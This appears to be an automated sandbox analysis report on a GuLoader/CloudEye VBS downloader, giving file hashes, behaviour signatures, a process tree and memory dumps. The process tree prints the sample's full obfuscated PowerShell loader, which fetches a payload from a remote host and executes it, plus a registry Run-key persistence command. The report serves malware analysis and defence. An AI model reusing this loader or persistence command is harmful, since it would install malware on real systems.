Analysis

  • max time kernel
    158s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/03/2024, 02:37

General

  • Target

    b9dcf5b6299259d5409b222121e3f866ef697ba83d488a83846196efd6d143f3.vbs

  • Size

    237KB

  • MD5

    09e1b1aa6f21931c821f0dbb8ffb630a

  • SHA1

    300abf78bd3f51937752d82e610108a6025d9baa

  • SHA256

    b9dcf5b6299259d5409b222121e3f866ef697ba83d488a83846196efd6d143f3

  • SHA512

    c51bf4a8085af153ec06921b59ce5f9c735916186a992abbb29539e9e5fd597f9bcfd9c79fecdec1e947a5fd5d227a62f203d3b596e1f4d1579b1d73246e283e

  • SSDEEP

    6144:Z5hQMLtOBxJrv5lttSP4KuK8jWwoipSRUiGT9rS2fTicm7fIQzmFAjX:bkVB5+jX

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3492
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b9dcf5b6299259d5409b222121e3f866ef697ba83d488a83846196efd6d143f3.vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Analopos Fenter Accidental Afsnringens Allgovite #>;<#Aaler Stut Slgtleddet Agitators #>;New-Item -Path 'Celledonorens:\Filingen' -Name 'Nyskabelsens' -ItemType 'file';<#Beboelsesejendom reputationer Sonnetish Christianittens Bellbirds #>;Function Giftigheder ([String]$Uensartet140){$Pyretotherapymmunopathology = 2;For($Pyretotherapy=1; $Pyretotherapy -lt $Uensartet140.Length-1; $Pyretotherapy+=$Pyretotherapymmunopathology){ $Anneks = $Uensartet140.Substring($Pyretotherapy, $Turcykels); $Reoccurs=$Reoccurs+$Anneks; }$Reoccurs;}$Turcykels = (cmd /c 'echo 1 && exit');if (Test-Path 'Celledonorens:\Filingen\Nyskabelsens') {$Turcykels--};$Uncubically=Giftigheder 'fiDeRxH ';$Talmagi=Giftigheder 'GT r,a,n sSfMe.rDrHiGnPg. ';$Chymifying = Giftigheder ' \RsGyNs wRo wU6.4B\TWSi.n dFoEwIs.P o wTeSrRSPhDe,ljl \Av,1V.E0S\FpAo.w,eNr s,h e.lSlS. e x,eS ';function Bunks ($Careire){&($Uncubically) ($Careire);}$Tachists=Giftigheder ' hDtLt p : /C/NjUaNw,aSpBhMaBr.m,aDcAeNu t,iTcBaHl.sA.Hc.o mB/.PBr e c.o nEtHr,o.lSlOeCd .EdRw.p ';$Udsknke=$Tachists.split([char]62);$Tachists=$Udsknke[0];Bunks (Giftigheder 'P$Og lKo b a l :ODPeAlSa.rCbIe.j dMe rEs =S$Te n vR:LwBi,n d i r. ') ;Bunks (Giftigheder 'E$Ag l o bSaIl :AB.e,sHiFn d.eHnsdCe s,=S$SDPeDlSa.r bTeRjOdKe,r,s +.$,CEh y.mUiffBy iPnFg ') ;Bunks (Giftigheder 'N$ gTl oIb,a,l :,L aSnDdFf aCs t e s =, R( ( gTwEm i DwRiAnO3A2L_KpHrYoEcEeBs s. B-UF ,PMrSo,cDe.sLs ICdB=.$ {FPSI D },)..,C oSmOmBa nHdSL.i nSe.)B -BsLpMl iDtK .[.c h aor ].3 4G ');Bunks (Giftigheder ' $fg,lPo,b aUlU: JkaMrTh,e a,dB ,=D .$ L,a.n dOfPaHsMt eIsN[A$OL a,n,dRf a sBtfe sr..c oFuFn tS-R2T]U ');Bunks (Giftigheder 'S$sgtlHoFbHa lK:BSAl,emn d.rOi a n =P(bT eAs.t -,P aKtHh. .$ B,eFsFiBn,dHe n dNezsR)N .-VA nMd, E( [ I nCtoPKtOrT],:,:Ss i,z.eG A- eGq. E8S), ') ;if ($Slendrian) {& $Besindendes $Jarhead;} else {;$Bookwright=Giftigheder ' $,gCl oUb.a l,:HK lPaTg e,s.kTr i vaeIlEs eGnR B=P S tTa r,tC- B,iJtTs T.r aLn,s f egr S-,S oHu,rFc.e K$FT aPcNhTi s.tEsU .-.DTe sftSi nWa.tNiAoSnE ,$ DpeRlcaPr,bDe jSdVe.rPs ';Bunks (Giftigheder 'S$Sg,lNoTbTaSlT: D e,lPa r.b edjSd e,rSsK=E$Te n vS: a p p d,aStHa ') ;Bunks (Giftigheder '.I m p oRr,tW-EMEo d u lLeK EB i.t s T rKaSnSs fUeGrN ') ;$Delarbejders=$Delarbejders+'\Stableren.Lys' ;Bunks (Giftigheder 'S$ g lAo.b a lV:,H e r imt a gSe.sE=S( TPe sOt.- PGaAtahB a$ODIeSlEabr.b e.jSd.eer,sM), ') ;while (-not $Heritages) {Bunks (Giftigheder 'FI f S(S$.K.l aIg e s kLrIi v e,lUs eIn,. JSo,b SSt.attFeV S- eAq F$ T aOl,mCaHg i )m {,S tAa r t - S,lBeBe pS ,1G}MeSl,s eD{GS.teaBrStU-CS lheKe p R1.; B,u.n kFsT $SB oPoDkYw r iJgAhGtA} ');Bunks (Giftigheder ' $.g lUo.bBaCl :,HUe rMiEt a.gFeTsC=.( TFessAt -oPma.t.h ,$sDMe lPaCr bje,jcd,eAr.sA)f ') ;$Tachists=$Udsknke[$Centralforeningers++%$Udsknke.count];}Bunks (Giftigheder ',$ g l oSb.aCl :TLEaMr,gFe kPoWbMoUlMdM =S TGSeGtA-SC oan t eMn t, $ DGeLl aTrIb.eUj.dNe r,s, ');Bunks (Giftigheder 'S$.g l o.bTaPlt: A.f p iNlsnUiOnFgSeHr n,ec ,=T [TSSyTsPt,e m . CIoDnIv.esr tC].:,: FSr,o m B aUsFeB6R4 S,t,r iBnSg ( $HL.a r g,eMk oUbSo.lGd.), ');Bunks (Giftigheder ' $,gGl oUbTaIlA:DBlo.f f ofs. =C .[ SNySsOtMesmF. T e xRtS. E nUc o d,iEn gH]O:M:.APS,C IPI,.kGSePt,SDt.r iBnTg ( $ ASfsp.i l nDi,n g eBr nKeA)L ');Bunks (Giftigheder ',$Sg lUonb.a.l,: BFe sRk fCt i.g.eTl sOeAsDtOe r a.pTeSu t sC=T$.BAoIf f o,s .Cs,u,bFsMt,rHi nDgW(C3 2S1F8 1I0 ,.2 4F6V7k2S)T ');Bunks $Beskftigelsesterapeuts;};;"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo 1 && exit"
          4⤵
            PID:3664
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Analopos Fenter Accidental Afsnringens Allgovite #>;<#Aaler Stut Slgtleddet Agitators #>;New-Item -Path 'Celledonorens:\Filingen' -Name 'Nyskabelsens' -ItemType 'file';<#Beboelsesejendom reputationer Sonnetish Christianittens Bellbirds #>;Function Giftigheder ([String]$Uensartet140){$Pyretotherapymmunopathology = 2;For($Pyretotherapy=1; $Pyretotherapy -lt $Uensartet140.Length-1; $Pyretotherapy+=$Pyretotherapymmunopathology){ $Anneks = $Uensartet140.Substring($Pyretotherapy, $Turcykels); $Reoccurs=$Reoccurs+$Anneks; }$Reoccurs;}$Turcykels = (cmd /c 'echo 1 && exit');if (Test-Path 'Celledonorens:\Filingen\Nyskabelsens') {$Turcykels--};$Uncubically=Giftigheder 'fiDeRxH ';$Talmagi=Giftigheder 'GT r,a,n sSfMe.rDrHiGnPg. ';$Chymifying = Giftigheder ' \RsGyNs wRo wU6.4B\TWSi.n dFoEwIs.P o wTeSrRSPhDe,ljl \Av,1V.E0S\FpAo.w,eNr s,h e.lSlS. e x,eS ';function Bunks ($Careire){&($Uncubically) ($Careire);}$Tachists=Giftigheder ' hDtLt p : /C/NjUaNw,aSpBhMaBr.m,aDcAeNu t,iTcBaHl.sA.Hc.o mB/.PBr e c.o nEtHr,o.lSlOeCd .EdRw.p ';$Udsknke=$Tachists.split([char]62);$Tachists=$Udsknke[0];Bunks (Giftigheder 'P$Og lKo b a l :ODPeAlSa.rCbIe.j dMe rEs =S$Te n vR:LwBi,n d i r. ') ;Bunks (Giftigheder 'E$Ag l o bSaIl :AB.e,sHiFn d.eHnsdCe s,=S$SDPeDlSa.r bTeRjOdKe,r,s +.$,CEh y.mUiffBy iPnFg ') ;Bunks (Giftigheder 'N$ gTl oIb,a,l :,L aSnDdFf aCs t e s =, R( ( gTwEm i DwRiAnO3A2L_KpHrYoEcEeBs s. B-UF ,PMrSo,cDe.sLs ICdB=.$ {FPSI D },)..,C oSmOmBa nHdSL.i nSe.)B -BsLpMl iDtK .[.c h aor ].3 4G ');Bunks (Giftigheder ' $fg,lPo,b aUlU: JkaMrTh,e a,dB ,=D .$ L,a.n dOfPaHsMt eIsN[A$OL a,n,dRf a sBtfe sr..c oFuFn tS-R2T]U ');Bunks (Giftigheder 'S$sgtlHoFbHa lK:BSAl,emn d.rOi a n =P(bT eAs.t -,P aKtHh. .$ B,eFsFiBn,dHe n dNezsR)N .-VA nMd, E( [ I nCtoPKtOrT],:,:Ss i,z.eG A- eGq. E8S), ') ;if ($Slendrian) {& $Besindendes $Jarhead;} else {;$Bookwright=Giftigheder ' $,gCl oUb.a l,:HK lPaTg e,s.kTr i vaeIlEs eGnR B=P S tTa r,tC- B,iJtTs T.r aLn,s f egr S-,S oHu,rFc.e K$FT aPcNhTi s.tEsU .-.DTe sftSi nWa.tNiAoSnE ,$ DpeRlcaPr,bDe jSdVe.rPs ';Bunks (Giftigheder 'S$Sg,lNoTbTaSlT: D e,lPa r.b edjSd e,rSsK=E$Te n vS: a p p d,aStHa ') ;Bunks (Giftigheder '.I m p oRr,tW-EMEo d u lLeK EB i.t s T rKaSnSs fUeGrN ') ;$Delarbejders=$Delarbejders+'\Stableren.Lys' ;Bunks (Giftigheder 'S$ g lAo.b a lV:,H e r imt a gSe.sE=S( TPe sOt.- PGaAtahB a$ODIeSlEabr.b e.jSd.eer,sM), ') ;while (-not $Heritages) {Bunks (Giftigheder 'FI f S(S$.K.l aIg e s kLrIi v e,lUs eIn,. JSo,b SSt.attFeV S- eAq F$ T aOl,mCaHg i )m {,S tAa r t - S,lBeBe pS ,1G}MeSl,s eD{GS.teaBrStU-CS lheKe p R1.; B,u.n kFsT $SB oPoDkYw r iJgAhGtA} ');Bunks (Giftigheder ' $.g lUo.bBaCl :,HUe rMiEt a.gFeTsC=.( TFessAt -oPma.t.h ,$sDMe lPaCr bje,jcd,eAr.sA)f ') ;$Tachists=$Udsknke[$Centralforeningers++%$Udsknke.count];}Bunks (Giftigheder ',$ g l oSb.aCl :TLEaMr,gFe kPoWbMoUlMdM =S TGSeGtA-SC oan t eMn t, $ DGeLl aTrIb.eUj.dNe r,s, ');Bunks (Giftigheder 'S$.g l o.bTaPlt: A.f p iNlsnUiOnFgSeHr n,ec ,=T [TSSyTsPt,e m . CIoDnIv.esr tC].:,: FSr,o m B aUsFeB6R4 S,t,r iBnSg ( $HL.a r g,eMk oUbSo.lGd.), ');Bunks (Giftigheder ' $,gGl oUbTaIlA:DBlo.f f ofs. =C .[ SNySsOtMesmF. T e xRtS. E nUc o d,iEn gH]O:M:.APS,C IPI,.kGSePt,SDt.r iBnTg ( $ ASfsp.i l nDi,n g eBr nKeA)L ');Bunks (Giftigheder ',$Sg lUonb.a.l,: BFe sRk fCt i.g.eTl sOeAsDtOe r a.pTeSu t sC=T$.BAoIf f o,s .Cs,u,bFsMt,rHi nDgW(C3 2S1F8 1I0 ,.2 4F6V7k2S)T ');Bunks $Beskftigelsesterapeuts;};;"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4588
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo 1 && exit"
              5⤵
                PID:2968
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe"
                5⤵
                • Suspicious use of NtCreateThreadExHideFromDebugger
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:1632
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Couscoussen" /t REG_EXPAND_SZ /d "%Automatiseres% -w 1 $Pinnisect=(Get-ItemProperty -Path 'HKCU:\Beatille\').Outchase;%Automatiseres% ($Pinnisect)"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3632
                  • C:\Windows\SysWOW64\reg.exe
                    REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Couscoussen" /t REG_EXPAND_SZ /d "%Automatiseres% -w 1 $Pinnisect=(Get-ItemProperty -Path 'HKCU:\Beatille\').Outchase;%Automatiseres% ($Pinnisect)"
                    7⤵
                    • Adds Run key to start application
                    • Modifies registry key
                    PID:1448
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1632 -s 1384
                  6⤵
                  • Program crash
                  PID:1472
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1632 -ip 1632
        1⤵
          PID:4384

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pxeoolf2.kca.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1632-80-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-84-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-60-0x0000000077828000-0x0000000077829000-memory.dmp

          Filesize

          4KB

        • memory/1632-57-0x0000000000CF0000-0x0000000003ADE000-memory.dmp

          Filesize

          45.9MB

        • memory/1632-85-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-68-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-94-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-93-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-92-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-90-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-89-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-88-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-83-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-73-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-82-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-69-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-59-0x00000000777A1000-0x00000000778C1000-memory.dmp

          Filesize

          1.1MB

        • memory/1632-81-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-72-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-78-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-77-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-76-0x0000000000CF0000-0x0000000003ADE000-memory.dmp

          Filesize

          45.9MB

        • memory/1632-67-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-65-0x0000000000CF0000-0x0000000003ADE000-memory.dmp

          Filesize

          45.9MB

        • memory/1632-71-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-79-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/1632-74-0x0000000000400000-0x00000000005E4000-memory.dmp

          Filesize

          1.9MB

        • memory/4416-14-0x00007FF97D440000-0x00007FF97DF01000-memory.dmp

          Filesize

          10.8MB

        • memory/4416-47-0x0000016EF0B80000-0x0000016EF0B90000-memory.dmp

          Filesize

          64KB

        • memory/4416-46-0x0000016EF0B80000-0x0000016EF0B90000-memory.dmp

          Filesize

          64KB

        • memory/4416-45-0x0000016EF0B80000-0x0000016EF0B90000-memory.dmp

          Filesize

          64KB

        • memory/4416-44-0x00007FF97D440000-0x00007FF97DF01000-memory.dmp

          Filesize

          10.8MB

        • memory/4416-6-0x0000016EF4AD0000-0x0000016EF4AF2000-memory.dmp

          Filesize

          136KB

        • memory/4416-91-0x00007FF97D440000-0x00007FF97DF01000-memory.dmp

          Filesize

          10.8MB

        • memory/4416-16-0x0000016EF0B80000-0x0000016EF0B90000-memory.dmp

          Filesize

          64KB

        • memory/4416-15-0x0000016EF0B80000-0x0000016EF0B90000-memory.dmp

          Filesize

          64KB

        • memory/4588-37-0x0000000006DE0000-0x0000000006E76000-memory.dmp

          Filesize

          600KB

        • memory/4588-58-0x0000000004930000-0x0000000004940000-memory.dmp

          Filesize

          64KB

        • memory/4588-61-0x00000000086E0000-0x000000000B4CE000-memory.dmp

          Filesize

          45.9MB

        • memory/4588-56-0x00000000777A1000-0x00000000778C1000-memory.dmp

          Filesize

          1.1MB

        • memory/4588-55-0x0000000004930000-0x0000000004940000-memory.dmp

          Filesize

          64KB

        • memory/4588-54-0x00000000086E0000-0x000000000B4CE000-memory.dmp

          Filesize

          45.9MB

        • memory/4588-53-0x00000000086E0000-0x000000000B4CE000-memory.dmp

          Filesize

          45.9MB

        • memory/4588-70-0x0000000074D80000-0x0000000075530000-memory.dmp

          Filesize

          7.7MB

        • memory/4588-51-0x0000000004930000-0x0000000004940000-memory.dmp

          Filesize

          64KB

        • memory/4588-52-0x0000000007380000-0x0000000007381000-memory.dmp

          Filesize

          4KB

        • memory/4588-49-0x0000000004930000-0x0000000004940000-memory.dmp

          Filesize

          64KB

        • memory/4588-48-0x0000000074D80000-0x0000000075530000-memory.dmp

          Filesize

          7.7MB

        • memory/4588-75-0x00000000086E0000-0x000000000B4CE000-memory.dmp

          Filesize

          45.9MB

        • memory/4588-43-0x0000000007310000-0x0000000007324000-memory.dmp

          Filesize

          80KB

        • memory/4588-42-0x00000000072A0000-0x00000000072C2000-memory.dmp

          Filesize

          136KB

        • memory/4588-41-0x0000000008060000-0x00000000086DA000-memory.dmp

          Filesize

          6.5MB

        • memory/4588-40-0x0000000007430000-0x00000000079D4000-memory.dmp

          Filesize

          5.6MB

        • memory/4588-39-0x00000000061D0000-0x00000000061F2000-memory.dmp

          Filesize

          136KB

        • memory/4588-38-0x0000000006180000-0x000000000619A000-memory.dmp

          Filesize

          104KB

        • memory/4588-36-0x0000000004930000-0x0000000004940000-memory.dmp

          Filesize

          64KB

        • memory/4588-35-0x0000000005C60000-0x0000000005CAC000-memory.dmp

          Filesize

          304KB

        • memory/4588-34-0x0000000005C20000-0x0000000005C3E000-memory.dmp

          Filesize

          120KB

        • memory/4588-33-0x0000000005620000-0x0000000005974000-memory.dmp

          Filesize

          3.3MB

        • memory/4588-23-0x0000000004DE0000-0x0000000004E46000-memory.dmp

          Filesize

          408KB

        • memory/4588-22-0x0000000004D70000-0x0000000004DD6000-memory.dmp

          Filesize

          408KB

        • memory/4588-21-0x0000000004CD0000-0x0000000004CF2000-memory.dmp

          Filesize

          136KB

        • memory/4588-20-0x0000000004F70000-0x0000000005598000-memory.dmp

          Filesize

          6.2MB

        • memory/4588-19-0x0000000004930000-0x0000000004940000-memory.dmp

          Filesize

          64KB

        • memory/4588-17-0x00000000022C0000-0x00000000022F6000-memory.dmp

          Filesize

          216KB

        • memory/4588-18-0x0000000074D80000-0x0000000075530000-memory.dmp

          Filesize

          7.7MB